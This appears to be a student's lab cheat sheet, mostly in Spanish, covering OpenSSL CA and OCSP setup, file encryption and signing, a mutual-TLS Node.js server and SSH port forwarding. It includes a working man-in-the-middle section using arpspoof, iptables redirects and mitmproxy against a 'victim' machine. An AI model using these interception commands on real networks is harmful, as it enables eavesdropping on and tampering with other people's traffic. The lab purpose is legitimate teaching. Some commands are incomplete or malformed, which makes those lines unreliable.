############################################################################# ######################### OPENSSL CONFIGURATION FILE ######################## #############################################################################
vi /etc/ssl/openssl.cnf
############################################################################# ######################### CA CERTIFICATE OPERATIONS ######################### #############################################################################
openssl req -config openssl.cnf -new -keyout private/cakey.pem -out requests/careq.pem
#EXAMPLE:
# Country Name (2 letter code) [AU]:ES
# State or Province Name (full name) [Some-State]:Barcelona
# Locality Name (eg, city) []:Barcelona
# Organization Name (eg, company) [Internet Widgits Pty Ltd]:Network Security Org
# Organizational Unit Name (eg, section) []:Certification
# Common Name (e.g. server FQDN or YOUR name) []:NS Root CA
openssl ca -config openssl.cnf -extensions v3_ca -days 3652 -create_serial -selfsign -in requests/careq.pem -out cacert.pem
openssl x509 -noout -text -in cacert.pem
openssl ca -config openssl.cnf -revoke certs/testtlsserver.crt.pem
openssl x509 -in certs/test_user.crt.pem -noout -pubkey > public_keys/test_user_public_key.pem
############################################################################# ############################ OCSP RESPONDER SETUP ########################### #############################################################################
openssl req -config openssl.cnf -new -keyout private/ocspresponder.key.pem -out requests/ocspresponder.csr.pem
# IMPORTANTE:
# Los campos del DN tienen que cumplir con las policy configuradas para la CA
# El CN tiene que ser obligatoriamente la IP de la máquina
# EJEMPLO:
# Country Name (2 letter code) [AU]:ES
# State or Province Name (full name) [Some-State]:Barcelona
# Locality Name (eg, city) []:Barcelona
# Organization Name (eg, company) [Internet Widgits Pty Ltd]:Network Security Org
# Organizational Unit Name (eg, section) []:OCSP
# Common Name (e.g. server FQDN or YOUR name) []:10.0.2.15
openssl ca -config openssl.cnf -extensions ocsp_responder_cert -in requests/ocspresponder.csr.pem -out certs/ocspresponder.crt.pem
sudo openssl ocsp -port 80 -text -index index.txt -CA cacert.pem -rkey private/ocspresponder.key.pem -rsigner certs/ocspresponder.crt.pem
############################################################################# ############################## CLIENT OPERATIONS ############################ #############################################################################
# OPCIÓN 1:
# Generar la llave en el cliente y posteriormente pasar el server.csr al server de la CA
openssl req -new -newkey rsa:2048 -keyout private/server.key -out server.csr.pem
# OPCIÓN 2:
# Generar la llave en el servidor de la CA
openssl req -new -keyout private/testtlsserver.key.pem -out requests/testtlsserver.csr.pem
openssl ca -config openssl.cnf -extensions server_cert -in requests/testtlsserver.csr.pem -out certs/testtlsserver.crt.pem
openssl req -new -keyout private/test_user.key.pem -out requests/test_user.csr.pem
openssl ca -config openssl.cnf -extensions user_cert -days 30 -in requests/test_user.csr.pem -out certs/test_user.crt.pem
openssl ocsp -CAfile cacert.pem -url http://10.0.2.3 -resp_text -issuer cacert.pem -cert certs/testtlsserver.crt.pem
############################################################################# ################################## NETWORKING ############################### #############################################################################
ALICE IP: 10.0.2.3 BOB IP: 10.0.2.4
############################################################################# ####################### CIFRADO DE ARCHIVOS GRANDES ######################### #############################################################################
El sistema de clave pública y privada no puede cifrar archivos grandes, por lo que existe una forma de cifrar los archivos.
Para cifrar un archivo grande con este método, primero debemos cifrar el archivo con cifrado simétrico.
La clave de cifrado simétrico se calculará aleatoriamente con OpenSSL y es la clave que cifraremos con la clave pública previamente calculada.
https://www.redeszone.net/tutoriales/seguridad/cifra-archivos-de-forma-sencilla-con-openssl/
openssl rand -hex 32 > sharedkey
openssl rand -hex 16 > iv
openssl enc -aes-256-cbc -in plaintext -out ciphertext -K bd57a0bd79e42af44c570dc73da4c328dc236b9c4320d9c985e0ec796cc6b55c -iv 53c73e819cbd75b985c68b8620e96cc0
openssl pkey -in receiver_cert.pem -out pubkey_receiver.pem -pubout
openssl x509 -in certs/test_user.crt.pem -noout -pubkey > public_keys/test_user_public_key.pem
Pasando el fichero por via scp o por la carpeta compartida
openssl pkeyutl -encrypt -in plaintext -out encryptedfile -inkey pubkey_receiver.pem -certin/-pubin
Pasando el fichero por via scp o por la carpeta compartida
openssl pkeyutl -decrypt -in encryptedfile -out decryptedFile -inkey keypairB.pem ##REVISAR
openssl enc -aes-256-cbc -d -in ciphertext -out decryptedFile1 -K bd57a0bd79e42af44c570dc73da4c328dc236b9c4320d9c985e0ec796cc6b55c -iv 53c73e819cbd75b985c68b8620e96cc0
############################################################################# ######################### FIRMA DE ARCHIVOS GRANDES ######################### #############################################################################
openssl pkeyutl -sign -in plaintext -out signature -inkey keypairA.pem
openssl pkeyutl -verify -in plaintext -sigfile signature -inkey pubkeyA.pem -pubin
Para poder verificar archivos grandes, se debe generar priemro el digest (hash) y posteriormente se valida ese digest encriptado:
# Para generar y firmar el digest:
openssl dgst -sha256 -sign private_key.pem -out file.sha256 file-to-sign
# Se envía el fichero original + el digest encriptado al receptor
# Para verificar la autenticidad del emisor del fichero:
openssl dgst -sha256 -verify public_key.pem -signature file.sha256 file-to-sign
############################################################################# ############################## WEBSERVER CERTS ############################ #############################################################################
sudo apt install npm
npm init
npm install express morgan
sudo node index.js
openssl pkcs12 -export -out user.p12 -inkey webuser.key.pem -in webuser.crt.pem
'use strict';
const express = require('express'); const logger = require('morgan'); const https = require('https'); const fs = require('fs');
const tlsServerKey = fs.readFileSync('./tls/webserver.key.pem'); const tlsServerCrt = fs.readFileSync('./tls/webserver.crt.pem'); const tlsCACrt = fs.readFileSync('/media/sf_LAB/cacert.pem');
const app = express();
app.use(logger('dev')); // Log requests (GET, POST, ...)
app.get('/', (request, response) => { response.send('
'); });const httpsOptions = { key: tlsServerKey, cert: tlsServerCrt, ca: tlsCACrt, requestCert: true, rejectUnauthorized: true }; const server = https.createServer(httpsOptions, app);
/**
- Listen on provided port, on all network interfaces. */ server.listen(443); server.on('listening', onListening);
/**
- Event listener for HTTP server "listening" event. */ function onListening() { const addr = server.address(); const bind = typeof addr === 'string' ? 'pipe ' + addr : 'port ' + addr.port; console.log('Listening on ' + bind); }
############################################################################# ############################## MITM COMMANDS ############################ #############################################################################
nmap -sP -PR <subnet_ip>/<subnet_mask>
net.ipv4.ip_forward = 1 net.ipv4.conf.all.send_redirects = 0
sysctl -p
apt update apt install dsniff
# Terminal 1:
arpspoof -t <gateway_ip> <victim_ip>
# Terminal 2:
arpspoof -t <victim_ip> <gateway_ip>
apt update apt install dsniff python3-dev python3-pip libffi-dev libssl-deb pip3 install mitmproxy
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port
# Terminal 1:
arpspoof -t <gateway_ip> <victim_ip>
# Terminal 2:
arpspoof -t <victim_ip> <gateway_ip>
mitmproxy --mode transparent --showhost -p
--> On victim's machine open a browser and install mitmproxy cert from http://mitm.it
############################################################################# ############################## SSH COMMANDS ############################ #############################################################################
#------------------- Local Prot Forwarding ---------------------#
sudo node index.js # requestCert:false
ssh -L 5000:localhost:443 kali@<ip_mv2>
If we open a browser on MV1 and navigate to https://localhost:5000 we'll be able to see node init page
#------------------- Remote Port Forwarding ---------------------#
apt install apache2 systemctl start apache2
ssh -R 8000:localhost:80 kali@<ip_mv2>